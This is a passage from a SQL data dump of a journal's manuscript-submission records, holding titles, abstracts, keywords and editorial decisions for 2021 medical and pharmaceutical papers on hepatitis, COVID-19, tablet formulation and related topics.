manifestations and primary indications of OA, and current proof based clinical rules suggest early treatment with training, exercise and weight reduction. Despite the fact that OA was recently viewed as an infection of the old, its advancement begins significantly sooner than initially suspected, and OA is positioned among the main 20 sicknesses in the 40–45 years age bunch.','Osteoarthritis; Arthroplasty; Treatment',2505,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10333,11008,326,0,'IPJUS-21-10333','Superior Capsule Reconstruction',NULL,17,0,'','The management of irreparable rotator cuff tears remains challenging. Since its introduction by Mihata in 2012, superior capsule reconstruction (SCR) has grown in popularity at an astonishingly rapid rate. The aim of this article is to provide a comprehensive review of the available literature, in order to highlight what has so far been published on SCR, covering all aspects including biomechanical, clinical and radiological studies as well as descriptions of the various techniques for performing the procedure.\r\nThe short-term clinical results of SCR are promising, but there is need for further long-term studies, as well as randomised controlled trials comparing SCR to other treatment modalities for irreparable rotator cuff tears. Further imaging studies looking at graft healing rates are also required as the healing rates published so far are variable. Additionally, the mechanism of action by which SCR delivers good short-term functional outcomes needs further clarification, as does the importance of the choice of graft type and thickness.','Superior Capsule Reconstruction; Clinical',2505,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10335,11009,45,0,'iphsj-21-10335','SEROPREVALENCE AND ASSOCIATED FACTOR OF HBV INFECTION AMONG PREGNANT WOMAN ATTENDING ANC AT HIDASE HEALTH CENTER ADDIS ABABA, ETHIOPIA 2021.',NULL,14,2,'','Background: Hepatitis B virus (HBV) is a hepatotropic deoxyribonucleic acid (DNA) virus which causes death. More than 300 million people have chronic liver infections globally and about 600,000 people die annually from acute or chronic complications of hepatitis B infection. Recent studies conducted in Ethiopia showed moderate endemicity (3–7.8%) of HBV among pregnant women. Women who are infected with HBV can vertically transmit the infection to their infants.  So, Studying seroprevalence of HBV will have paramount effect for the health of the mother as well as he child. \r\nObjective: The objective of this study is to assess Sero-prevalence and associated factor of HBV infection among pregnant woman attending at Hidase health center Addis Ababa, Ethiopia, 2021.  \r\nMethod: A facility-based descriptive cross-sectional study design was conducted. 190 Pregnant mothers on their ANC followup selected by simple random sampling technique from Jun 01, 2021 until Jul 30, 2021 and met the criteria were included. Data was entered and analyzed using statistical software SPSS for windows V 26.0. The ethical clearance was obtained from Kea Med College Department of Nursing. \r\nResult: The result showed that most of the study subjects were in the age range of 22-38. The mean age was 29.2 ± 3.4 years. The overall seroprevalence for HBsAg among the study population was about 3.7 % (7/190). In addition the overall sero-prevalence of HIV and HCV were found to be 0.5% (1/190) and 0% respectively. Older age of participants, Dental extraction works out side health facilities [COR=0.03; 95%CI (0.005-0.179)], Delivery practices at any places outside health institutions [COR=0.101; 95%CI (0.012-0.856)], Venipunctures for treatment [COR=0.042; 95%CI (0.006-0.307)] and Previous contact of our responders with Jaundiced individuals [COR=0.018; 95%CI (0.003-0.109)] was significantly associated with Seroprevalence of HBsAg Posetivity. (p<0.05, 95% C. I).\r\nConclusion and Recommendation: The prevalence of HBsAg carrier rate of pregnant women in the study area falls within the medium/intermediate endemic according to the criteria set by WHO. Therefore, initiating screening tests during follow up period for antenatal care services is mandatory. And further study with a large scale sample size on HBsAg positivity is required to enrich the data in the study area.\r\n','Mother, HBV, ANC, Seroprevalence',4912,NULL,'2021-09-01',NULL,'Submitted',19,NULL,'2021-09-07',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(10340,9456,86,0,'ipaom-21-10340','Editorial Note on Medicine',NULL,5,0,'','Medicine is the science and the practice concerned with the maintenance of health and the prevention, alleviation, or cure of disease.','Medicine',2890,NULL,'2021-09-02',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10342,9871,277,0,'ipadm-21-10342','Role of Pharmacists during COVID-19 Pandemic...',NULL,14,0,'','BACKGROUND: The COVID-19 outbreak in China and its subsequent spread across the globe has presented a serious public health challenge across different countries. Pharmacists have an important role as health care professionals providing necessary services during this pandemic COVID-19 pandemic. \r\nOBJECTIVE: To focus on the role of the pharmacists in fighting the COVID-19 pandemic, and explore the guidelines on provision of pharmaceutical services to patients.\r\nMETHODS: This is a systematic literature review. The search was performed on many electronic databases (MEDLINE, EMBASE, and Cochrane library) to identify relevant studies that focused on the role of pharmacists in fighting the COVID-19 pandemic, and guidelines on delivery of pharmaceutical services to patients. The search was limited to English published articles focused on the topic.\r\nRESULTS: There were twelve studies that met our eligibility criteria and included in the final analyses. Pharmacists in the community setting are playing a key role in the management of the disease to prevent the spread of the outbreak. In lower middle-income countries, the healthcare systems may not be well developed. Therefore, patients need more pharmacist support because patients cannot afford a doctor’s a visit. Pharmacists help in developing emergency drug formulations as well as coordinating with manufacturers to ensure availability. The International Pharmaceutical Federation developed international recommendations and guidance for pharmacists, including accurate information on prevention and management.\r\nCONCLUSIONS: There is a need for pharmacists to be more actively involved in case management through event-driven and evidence-based practices. These factors have increased the role of the community and hospital pharmacists. Additionally, the pharmacists are an important point of contact for patients in providing information and dissemination of prevention interventions.','coronavirus, pharmacists, guideline, guidance, recommendation',2794,NULL,'2021-09-02',NULL,'Submitted',2,NULL,'2021-11-02',NULL,1,1,'0','Accepted proceed further.\r\n\r\nFor Carlos\r\nEditor-in-Chief',0,NULL,NULL,NULL,0,0,0,NULL,0),(10344,11016,667,0,'iptb-21-10344','The Cole Relaxation Frequency as a Parameter to Identify and Spatially Map Cancer in Breast Tissue: Preliminary in vivo Patient Study',NULL,14,0,'','We have previously reported successful classification of breast cancer vs benign breast tissue using Cole Relaxation Frequency (CRF) values calculated from impedance measurements on ex-vivo breast tissue samples at the time of surgery.  Subsequent analysis of outcomes from follow-up medical visits of patients from this cohort provided evidence that the CRF values measured for tissue determined to be cancerous at the time of surgery correlated well with three possible outcomes for the patients (No Recurrence of Cancer; Recurrence with No Metastasis; and Recurrence with Metastasis).  We present here data from a small (n=50) IRB approved study to classify and spatially map cancer and benign regions in the breast in vivo. Apparatus consisting of two parallel plates mounted on a conventional mammography gantry was used for these measurements. A portion of one of the plates was arranged in a 16x16 array of 256 separate regions for measuring the constant voltage impedance sampled at each electrode. Utilizing the patients’ pathology and radiology reports we found that the procedure correctly classified benign breast disease or cancer (including invasive and non-invasive ductal or lobular carcinoma) at the location of a suspicious mass, without apparent interference from density of the breast tissue. This approach was shown to be useful for identifying and spatially mapping electrically anomalous regions using the CRF as the classifier. ','Cole Relaxation Frequency, breast cancer, bio-impedance measurements',3933,NULL,'2021-09-02',NULL,'Submitted',2,NULL,'2021-09-22',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(10346,11018,45,0,'iphsj-21-10346',' Healthcare Workers’ Infection Prevention and Control practices during COVID-19 outbreak in a southwest state of Nigeria',NULL,14,0,'','Background:\r\nHealthcare workers are at risk of exposure to COVID-19 infection as they are the first-line contact with patients in the healthcare setting and their infection prevention and control (IPC) practices have critical implications in limiting hospital transmission of the disease in the fight against the COVID-19 pandemic. In this study, we assessed the IPC practices by healthcare workers during the COVID-19 outbreak in a southwest state of Nigeria.\r\nMethod A cross-sectional study was conducted among healthcare workers from two Local Government Areas (LGAs) in the state. All information\'s were collected through an interviewer-administered questionnaire which captured socio-demographic characteristics, knowledge of IPC, attitude and practices toward COVID-19 prevention. The data were collected from November to December 2020; scrutinized for completeness before analysis with SPSS version 18.0 statistical software. The 95% confident interval and the p-value were used to check for an association between the dependent and independent variables. A p-value of < 0.05 was considered statistically significant. The data were presented and explained using tables. \r\nResults: A total of 298 health workers were approached, out of whom 293 responded (response rate: 98.3%). The majority 235 (80.2%) of the respondents were female, 80 (27.3%) were within the age group 40-49 years (Mean ± Standard deviation: 40.2 ± 11.8) and 227 (77.5%) were married. More than half (172, 58.7%) of the respondents were community health workers. Most of the respondents 248 (84.6%) had good knowledge of IPC while more than half of the respondents 195 (66.6%) have a high attitude towards IPC and 80 (27.3%) had good IPC practices towards COVID-19 prevention suggesting less than satisfactory scores in this study. Significantly, the odds of having good IPC practice increased among respondents that have been trained on IPC compared to those that have not been trained (AOR= 3.5; 95% CI= 1.5 - 8.3).\r\nConclusions: Our findings revealed that healthcare workers have good IPC knowledge and possess a satisfactory attitude about IPC towards COVID-19 prevention. However, their IPC practices to COVID-19 prevention were suboptimal. Hence, we recommend training and re-training of healthcare workers and in addition adequate supply of PPEs/other IPC commodities and regular supportive supervision to ensure IPC knowledge is translated into practice among healthcare workers in the fight against COVID-19.\r\n\r\n','Healthcare worker; COVID-19; infection prevention and control, practice; Nigeria',4824,NULL,'2021-09-02',NULL,'Submitted',16,NULL,'2021-09-15',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10349,11021,91,0,'ijddr-21-10349','UNDERSTANDING THE IN VIVO PERFORMANCE OF IMMEDIATE RELEASE TABLET FORMULATIONS WITH ATYPICAL DISINTEGRATION BY USING NON-CONVENTIONAL DISINTEGRATION AND DISSOLUTION METHODS ',NULL,14,2,'','Disintegration and dissolution testing is often seen as in-process/release control step, not relevant from the perspective of product bio-performance. The aim of this paper was to develop discriminative and bio-relevant (fasting conditions) disintegration and dissolution methods for an immediate release generic tablet with poorly soluble BCS 4 drug substance with known wetting issues and tendency to aggregate. Tablet with atypically long disintegration, similar to reference product, had to be developed. Several non-standard disintegration methods were designed and those simulating no mechanical stress and fasting gastric environment were found to correlate best with in vivo result. To assure fast high-throughput screening of samples for developmental purposes, conditions identified in disintegration tests were incorporated into custom made dissolution test that covers both disintegration and drug release while simulating bio-relevant fasting conditions. With all available data we were able to correlate in vitro data to the in vivo result and identify critical parameters responsible for product bio-performance.','disintegration, dissolution, bioequivalence, absorption, texture analysis, magnetic resonance imaging',2474,NULL,'2021-09-03',NULL,'Submitted',19,NULL,'2021-09-08',NULL,1,1,'0','   ',0,'','',NULL,0,4,0,NULL,0),(10350,11022,45,0,'iphsj-21-10350','Ethnobotanical study on Assessment of Indigenous Knowledge on Traditional Plant Medicine Use Among People of Wonchi District in Southwest Shewa Zone, Oromia National Regional State, Ethiopia',NULL,14,0,'','Ethiopia is a country characterized by a wide range of climate and ecological condition which helped to have high diversity of medicinal plants and up to 80% of the population use traditional medicine for primary health care. This study is aimed to assess the current status of indigenous knowledge of traditional plant medicine used among communities of Wonchi District.\r\nMethod: A total of 198 informants (27 key and 171 general) were selected purposively based on the availability of key informants and vegetation richness of the District. Semi-structured interviewer administered questionnaire was used and guided field walk with informants was employed to collect the data. Ethno botanical scoring and ranking methods like informant consensus, paired-wise comparison and preference ranking were used to analyze the collected data. The findings were displayed using tables and figures.\r\nResult: A total of 93 medicinal plant species were identified. Out of these 93 species, 53(53.76%) notably used to treat human ailments, 3(2.23%) species were used to treat livestock aliments and the rest 40 (43.01%) were used to treat both. Nearly two thirds of the study participants have good knowledge about traditional plant medicine use. Participants who are male, elder, illiterate, traditional healer in occupation and Waqefata in religion were rich in ethno medicinal knowledge than their counterpart. Therefore, all stakeholders should work together in changing the current situation in order to sustainably benefit from traditional plant medicine.','Indigenous knowledge, Local people, Medicinal plants, Traditional medicine,   Wonchi district',643,NULL,'2021-09-03',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10351,11022,45,0,'iphsj-21-10351','Ethnobotanical study on assessment of Practice on Traditional Plant Medicine Use among People of Wonchi District, central Ethiopia.',NULL,14,0,'','Ethiopia is a country characterized by a wide range of climate and ecological condition which helped to have high diversity of medicinal plants and up to 80% of the population use traditional medicine for primary health care. Studies on the current practices of the communities in the area are vital to document the basic information in these regars. Therefore, this study was aimed in assessing the practices of traditional plant medicine use among communities of Wonchi District.','Indiginous practice, Local people, Medicinal plants, Traditional Medicine, Wonch district.',643,NULL,'2021-09-03',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10360,11027,91,0,'ijddr-21-10360','Less offsprings in Systemic lupus Erythematosus patients; is it infertility or adverse pregnancy outcomes to blame?',NULL,17,2,'Latest Insights in Gynecology , Obstetrics & Women\'s Health','Systemic lupus erythematosus (SLE) is a multisystem autoimmune disorder that predominantly affects females in their reproductive years and fertility can be negatively affected by disease activity (autoimmune oophoritis) or by the gonadotoxic medications used. (1, 2) Pregnancies in SLE are also associated with higher neonatal and maternal complications. Neonates born to mothers with SLE are more likely to be preterm, have a low birth weight and are associated with stillbirth compared to neonates born to healthy control mothers. (3)Objectives: The aim was to assess the impact of SLE on the number of offsprings in an Egyptian group of female SLE patients compared to age-matched controls.Methods: This retrospective case-control study was conducted in Rheumatology and Rehabilitation Department, Zagazig University Hospitals. Sixty female subjects were included: 30 SLE patients and 30 age matched apparently healthy volunteers. We compared the number of pregnancies and the number of offsprings of SLE patients to those of controls and we also compared pregnancy outcomes and maternal complications in both groups.','Gynecology, Obstetrics, Womens Health',5031,NULL,'2021-09-03',NULL,'Submitted',19,NULL,'2021-09-08',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,4,0,NULL,0),(10366,11035,277,0,'ipadm-21-10366','ASSESSMENT OF KNOWLDGE, ATTITUDE AND PRACTICE OF MOTHERS IN CHILD BEARING AGE TOWORDS INSTITUTIONAL DELIVERY IN ADABA TOWN, ARSI ZONE, OROMIYA REGION, ETHIOPIA',NULL,14,0,'','Abstract\r\nBack Ground: - Appropriate delivery care with skills attendant at birth is crucial for both maternal and perinatal health. In addition to professional attention, it is important that mothers deliver their babies in an appropriate setting, where lifesaving equipment and hygienic conditions can also help reduce the risk of Complications that may cause death or illness to the mother and child.\r\nObjective: To assess knowledge, attitude and practice of mothers in child               bearing age towards institutional delivery in Adaba town, Oromia, Ethiopia.\r\nMethods: - A Community based Cross Sectional Study was conducted   from March 15 to March 20. All women of reproductive age group (15-49yrs) were considered as source population. Systematic sampling method was used and data was collected by using structured questionnaires. A study was conducted on 242 women who gave at least one alive birth within five years. The analysis of data was calculated by using scientific calculator and SPSS software. The questionnaires were checked for completeness and consistency through discussion on questionnaire and Prior to applying the total questioner, pretest was done.\r\n Result: The overall practice of institutional delivery of last child in this study was 141(58.3 %). The study revealed that out of 242 mothers in reproductive age group, 212(87.6%) have knowledge and 218(90.1%) have positive attitude to words institutional delivery. Age, marital status, religion, parity, income, ANC follow up and occupation had significant association with institutional delivery.\r\n Conclusion: practice of institutional delivery is low in the study area.  Religion and cultural practice is one of the major factors that make mothers not to deliver at health institution.  From a total of 242 mothers 158 (65.3%) of them have delivered at health institution previously while 84(34.7%) of them have never delivered at health institution before. Most mothers have knowledge and positive attitude of institutional delivery in the study area.\r\n Recommendation: - health education program about Institutional delivery should be highly given at ANC follow up because mothers who have ANC follow up were more likely to deliver at health institution than mothers who have no ANC follow up. Cost of health service should be reduced because income has significant influence on delivery service utilization.    \r\n','Keywords: - knowledge, attitude, practice, child bearing age, Daba town ',5023,NULL,'2021-09-03',NULL,'Submitted',2,NULL,'2022-09-20',NULL,1,1,'0','Acéptalo sin ningún cambio.\r\nAccept it without any changes',0,'','',NULL,0,0,0,NULL,0),(10368,11037,86,0,'ipaom-21-10368','Riesgo de desarrollar Diabetes Mellitus tipo II. San Matías, Francisco Morazán.',NULL,14,0,'','Antecedentes: La Diabetes Mellitus a nivel mundial ha representado un problema de salud pública, en el año 2014 se reportaron 422 millones de personas con esta enfermedad. Objetivo: Evaluar el riesgo de desarrollar diabetes mellitus tipo dos mediante la prueba de Finnish Diabetes Risk Score (FINDRISK) en pacientes de 20 a 35 años. Métodos: Se realizó una investigación cuantitativa de carácter descriptivo, transversal, con una muestra de 59 pacientes, seleccionados por un muestreo no probabilístico por conveniencia. A los que se les brindó un consentimiento informado seguido de la aplicación de la prueba de FINDRISK, donde se evaluó la edad, el Índice de Masa Corporal, el perímetro abdominal, el ejercicio diario, la ingesta de frutas y/o vegetales, tratamientos hipertensivos, antecedentes de hiperglucemia y antecedentes familiares de DM2. Se categorizaron según la puntuación de la prueba obtenida como bajo riesgo, riesgo ligeramente elevado, riesgo moderado, riesgo alto y riesgo muy alto. Resultados: Los factores de riesgos prevalentes fueron el sedentarismo 64% (38), dietas no saludables 51% (30) y obesidad según IMC 20% (12). El 40% (24) de los pacientes están dentro de la clasificación de Bajo riesgo, 46% (27) en riesgo ligeramente elevado, 12% (7) en riesgo moderado, 2% (1) en riesgo alto y 0% (0) en riesgo muy alto. Discusión: La implementación de la prueba de FINDRISK en la Atención Primaria en Salud es una herramienta muy útil para la detección temprana de pacientes con alto riesgo de desarrollar Diabetes Mellitus Tipo 2 y así promover estilos de vida saludables. ','Diabetes Mellitus tipo 2, Factores de Riesgo, Tamizaje',2890,NULL,'2021-09-03',NULL,'Submitted',2,NULL,'2021-09-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10371,11040,85,0,'iphspr-21-10371','The Influence of Racial Trauma on the  Vocational Choice Decisions of Black  Collegians',NULL,17,0,'','The mental health concerns of Black collegians at an urban HBCU were examined to identify possible connections to career choice decisions and racial trauma. The current study used findings from an initial inquiry regarding the help-seeking behaviors of Black collegians. Of the 43 fields of academic study represented by students seeking services, the disciplines of social work, psychology and nursing represented one-third. This finding led to the current inquiry as to factors influencing the phenomenon. Holland’s theory of vocational choice was employed to explain how common interests and experiences influence career choice decisions. Critical race theory was used to explain how the common experiences of racial trauma and past and present discrimination might lead to careers in the helping professions. Racial trauma has been linked to a host of mental health concerns such as depression, anxiety, and stress as well as a greater likelihood of physical health conditions such as hypertension, cardiovascular disease, and diabetes. Researchers concluded that the stress associated with high level coping in the face of inequality, financial hardship, and racial discrimination challenge individual resilience wells and negatively impact mental and physical health resulting in healthcare disparities','Racial trauma, career choice, field of academic study, mental health concerns',4068,NULL,'2021-09-04',NULL,'Submitted',2,NULL,'2021-10-28',NULL,1,1,'1','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(10400,11056,91,0,'ijddr-21-10400','Investigation of the Effect of Wet Granulation Process on Dissolution Profile of Eplerenone Drug',NULL,14,0,'','The objective is to observe and improve drug release of Eplerenone which is BCS Class II API by applying dry granulation and wet granulation process. Inspra 50 mg Film Coated Tablets, manufactered by Pfizer, were taken as reference product to compare with dissolution profiles of dry granulation applied product and wet granulation applied product.  Investigation of the effect of wet granulation process on dissolution profiles of Eplerada 50 mg Film Coated Tablets has been demonstrated out in the scope the study. While f2 similarity factor is 44.93 for dry granulation applied product, it is 60.62 for wet granulation applied product when compared to reference product. It comply that dissolution rate of wet granulation applied product is more proper to the specification than dry granulation applied product. The study demonstrate the effect of different granulation process on dissolution rate.','Dissolution, wet granulation, eplerenone, dry granulation',5033,NULL,'2021-09-06',NULL,'Submitted',4,NULL,'2021-10-12',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10409,11064,45,0,'iphsj-21-10409','Adaptation and validation of a scale measuring job satisfaction among administrative staff at Hanoi Obstetrics & Gynecology Hospital',NULL,14,0,'','Abstract \r\nObjective: To confirm the validity and reliability of a job satisfaction instrument to assess the satisfaction of administrative staff at Hanoi Obstetrics & Gynecology Hospital, Vietnam. \r\nMethod: Study was conducted in two phases. First, a nine-step translation process was done with an appropriate instrument for measuring job satisfaction among administrative staff at the hospital. Second, a quantitative survey of administrative staff in the hospital (n=243) was undertaken to investigate the validity and reliability of the questionnaire. Expert review (n=7), pre-testing (n=8) for item appropriateness, rewording and rephrasing were conducted before the quantitative survey and test-retest reliability assessment (n=30 participants) were also undertaken.\r\nResult: The final instrument for meassuring job satisfaction among administrative staff at the hospital consists of 7 dimension and 28 items, pay and benefits (7 items), reward and recognition (6 items), supervision (3 items), working conditions (3 items), communication (3 items), co-workers (3 items), and nature of the job (3 items). The CVI for the overall scale was 0.96, much higher than the threshold recommended by other instrument developers. The Cronbach’s alpha coefficients of individual dimensions ranged from 0.658 to 0.867. The test-retest reliability coefficients over an interval of 15 days were ranged between 0.757 and 0.895, showing that the instrument had good test-retest reliability over a short period. The results of this phase showed that the new instrument was valid and reliable for assessing the job satisfaction of the administrative staff.\r\nConclusion: This is the first study to confirm the validity and reliability of the instrument for measuring job satisfaction of administrative staff working in a hospital in Vietnam, which appears to have good psychometric properties. It could be used for regular monitoring and evaluation of the hospital’s human resource.\r\n','Keywords: Job satisfaction, exploratory factor analysis, content validity index, administrative staff, Hanoi Obstetrics & Gynecology Hospital,Vietnam',5035,NULL,'2021-09-07',NULL,'Submitted',2,NULL,'2021-10-07',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10413,6982,45,0,'iphsj-21-10413','MATERNAL DIET AND EPIGENETIC MODIFICATIONS AT THE START OF LIFE: REPERCUSSIONS ON THE DEVELOPMENT OF OBESITY',NULL,15,0,'','Objectives: Thus, the objective of the study was to evaluate the repercussions of the maternal diet and epigenetic changes in early life and its repercussions on the development of obesity. Methods: For this, a narrative review of a descriptive character was developed using the following descriptors: “Maternal diet”, “epigenetics” and “obesity”. The articles published between the years 2015 to 2020 were selected from the databases: Scientific Electronic Library Online (Scielo), National Library of Medicine (PubMed) and Virtual Health Library of the Ministry of Health (VHL).Results: It was observed that the intake of maternal high-fat diets promotes the appearance of epigenetic changes that favor the appearance of diseases, such as diabetes mellitus, in addition to increasing food intake, and consequently increasing body weight. Conclusions: Thus, the importance of healthy eating is observed during critical periods of development to prevent the onset of cardiometabolic diseases.','Nutrigenomics; High-fat diet; Chronic non-communicable diseases, Genetic, Epigenomics',643,NULL,'2021-09-08',NULL,'Submitted',2,NULL,'2021-10-01',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10414,6982,45,0,'iphsj-21-10414','EFFECTS OF HIGH INTENSITY INTERVALED TRAINING ON BODY COMPOSITION: A Review',NULL,14,0,'','Considered a major public health problem, obesity is the accumulation of excess body fat in such a way that it can cause health problems to individuals, being caused mainly by the mismatch between the number of calories consumed and spent, that is, a consequence of sedentary lifestyle and poor diet. Due to its countless consequences, an increasing number of studies show the benefits of a high intensity interval training program (HIIT) for obese practitioners, since a large part of the population does not practice physical exercises due to lack of time due to their hectic routines, HIIT being a practice proposal with less time. Therefore, the objective of this work is to analyze the studies that investigated the effects of high intensity interval training (HIIT) on the body composition of its practitioners. From a literature review in the SciELO, Lilacs and PubMed databases, eleven articles were selected to compose the results, which showed a significant improvement in the body composition of HIIT practitioners. Thus, it is possible to conclude that these protocols are shown as alternatives for the treatment of obesity, since they can promote significant reductions in body composition and improvements in aspects such as the increase in lean mass. The literature review samples were from elderly diabetic women with excess weight and obesity, sedentary adults with excess weight and associated with metabolic syndrome.','High Intensity Interval Training. Body Composition',643,NULL,'2021-09-08',NULL,'Submitted',2,NULL,'2021-10-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10437,11090,91,0,'ijddr-21-10437','DEVELOPMENT OF LOW DOSE ESZOPICLONE DRUG FORMULATION BY USING GEOMETRIC BLENDING METHOD',NULL,10,0,'','Eszopiclone is a type of medicine used in the treatment of insomnia with a hypnotic effect. The aim of this study is to create Eszopiclone 3 mg tablet formulation by providing homogeneous distribution of Eszopiclone raw material, which is found in low amount in the drug, into the excipients. In order to achieve homogeneous blending, 4 trial production and pilot studies were carried out using the geometric blending and elimination method. Trial 4 was optimized and the process validation study was approved. Acceptable content uniformity values of trial 4 and pilot study were calculated as %8.63 and %8.74 respectively. In this study, the importance of geometric blending and elimination method is shown. ','',5033,NULL,'2021-09-09',NULL,'Submitted',4,NULL,'2021-10-12',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10451,11103,277,0,NULL,'Encefalopatía asociada a tiroiditis de Hashimoto. Reporte de caso',NULL,2,1,'endocrinlogia','La encefalopatía de Hashimoto (EH) es una enfermedad rara con manifestaciones clínicas variables y sin criterios diagnósticos patognomónicos de imagen o laboratorio, se ha encontrado su asociación a títulos séricos elevados de anticuerpos antiperoxidasa tiroidea (TPO) y en muchos casos la función tiroidea es normal, suele tener respuesta favorable al tratamiento con esteroides. \r\nSe presenta el caso de una mujer de 31 años con encefalopatía asociada a tiroiditis autoinmune respondedora a esteroides.\r\n','Encefalopatía autoinmune, enfermedad de Hashimoto, tiroiditis de Hashimoto, hipotiroidismo, autoanticuerpos',5022,NULL,'2021-09-09',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10452,11104,277,0,'ipadm-21-10452','ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISIÓN DE LA LITERATURA',NULL,25,0,'','La enfermedad diarreica aguda es una condición común que requiere su comprensión y dominio en la clínica tanto en población pediátrica como adulta, conociendo su definición, clasificación, etiología, tratamiento y pertinencia de estudios para evaluar su gravedad y condiciones asociadas. La presente revisión aporta conceptos recientes en el abordaje y manejo de la enfermedad diarreica aguda con recomendaciones basados en la evidencia actual y que podría ser beneficioso en la clínica. ','Diarrea, Diarrea infantil, Disentería, Deshidratación. ',2805,NULL,'2021-09-10',NULL,'Submitted',2,NULL,'2022-09-07',NULL,1,1,'0','Accept without Changes',0,'','',NULL,0,0,0,NULL,0),(10454,11106,975,0,'ipjbs-21-10454','PREVALENCE OF HEPATITIS B VIRUS AND HEPATITIS C VIRUS IN HIV PATIENTS',NULL,14,2,'','About one third of human immunodeficiency virus (HIV) infected patients are co-infected with either hepatitis B virus (HBV) or hepatitis C virus (HCV), which share the route of transmission with HIV. In India, HIV is predominantly acquired through heterosexual route. The survival rate of HIV infected patients has been markedly improved with highly active antiretroviral therapy (HAART). In co-infection, the presence of one virus impacts the natural history of other virus. HIV accelerates the natural course of HBV and HCV infection and facilitates faster progression of liver disease to cirrhosis and hepatocellular carcinoma. Co-infection with hepatitis viruses may also complicate the delivery of anti-retroviral therapy (ART) by increasing the risk of drug-related hepatotoxicity leading to decrease survival and increased mortality in HIV infected patients. The prevalence of HIV with hepatitis virus varies widely. This study was planned to evaluate the prevalence of HBV and HCV in HIV patients.','Human immunodeficiency virus (HIV) \r\nHepatitis B virus (HBV) \r\nHepatitis C virus (HCV)\r\nHighly active antiretroviral therapy (HAART)',3460,NULL,'2021-09-10',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10466,11118,975,0,'ipjbs-21-10466','The Prevalence of Hepatis E, Hepatitis C and Hepatitis B Surface Antigenemias in HAART Experienced People Living with Human Immunodeficiency Virus (HIV) in Rivers State, Nigeria.',NULL,14,1,'Health and disease','However, advances in HIV biology, pharmacology and clinical medicine made it possible for HIV-infected persons to live longer, they also experience long-term adverse side effects and toxicity due to treatment and age-associated co-morbidity. Materials and Methods: The study population included experienced patients (?3 months). All eligible samples that met inclusion criteria: Confirmed positive by HIV-1/HIV-2 at time of enrolment via same study draw or historically from medical record or at least 1.2 mL leftover EDTA plasma or serum sample from p24 Ag positive patients. HIV (1 + 2) quick test strip (Determinee, Alere Co, LTD, Japan) for screening analysis; while Stat-Pak (Chembio Diagnostic Systems, Inc., New York, NY, USA). Immunochromatographic assay for the detection of antibodies to Hepatitis C, Hepatitis B Surface Antigen while ELISA technique was used to detect Hepatitis E. Results: This study result showed that HBsAg-HIV co-infection was 2% and HCV-HIV co-infection being 1%. At the same time, there was 0% co-infection with the Hepatitis E virus. Conclusion: However, the research reaffirms our understanding of the coinfection of HIV with HBsAg, HCV among people living with HIV in Rivers State.','HCV, HIV, HEV, HBsAg, HAART, Prevalence, Medicine',4089,NULL,'2021-09-13',NULL,'Submitted',2,NULL,'2021-10-01',NULL,1,1,'1','Can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(10470,11121,73,0,'ipjnn-21-10470','Cerebral salt wasting due to bilateral hypothamic lesions as a presentation of NMOSD: A case illustration and retrospective review of local occurrence.',NULL,2,0,'','Hyponatremia as a complication associated with neurological condition is not uncommon. Syndrome of inappropriate anti-diuretic hormone (SIADH) has been reported with increasing frequency in association with Neuromyelitis optica spectrum disorder (NMOSD). Nevertheless, Cerebral salt wasting (CSW) is less recognized especially as the initial presentation of sero-positive NMOSD. Objective: 1. To report a case of CSW due to bilateral hypothalamic lesions as a clinical presentation of NMOSD; 2. To review the frequency and the cause of hyponatremia in our cohort of NMOSD patients. Methods: We illustrated a case of NMOSD presented with CSW. This was followed by a retrospective review of our electronic medical records (EMR) of 86 patients with NMOSD from 2005 to 2020 who presented with persistent hyponatremia. The clinical, biochemical and radiological data were gathered and analyzed. Results: 10/85 (11.8%) patients had persistent hyponatremia needing medical intervention. Only 3 had gastro-intestinal symptom, 5 had transverse myelitis, 1 had general malaise, and 1 had optic neuritis. One patient had new brain lesion involving the area post rema. Two patients were diagnosed as SIADH and 1 was diagnosed as CSW. Conclusion: Even though SIADH is a more recognizable cause of hyponatremia in NMOSD, CSW need to be considered as a differential diagnosis. This case presentation highlighted the diversity in the clinical presentation of NMOSD.','Hyponatremia, NMOSD, SIADH, CSW.',326,NULL,'2021-09-13',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10474,11041,85,0,'iphspr-21-10474','Short commentary on paper entitled ‘‘Molecular dynamics studies of dog prion protein wild-type and its D159N mutant',NULL,17,0,'','This brief article gives a short commentary on the paper entitled ‘‘Molecular dynamics studies of dog prion protein wild-type and its D159N mutant’’ (published in Journal Biomolecule Structure and Dynamics 39(12):4234-4242 (2021)). The commentary is about the residue numbers of 159 and 163. By alignments analysis, we find all the literatures are talking about a same residue Aspartic acid (Asp) at the same position of dog prion protein.','Dog prion protein; residue D159; residue D163; sequence alignments; same residue at same 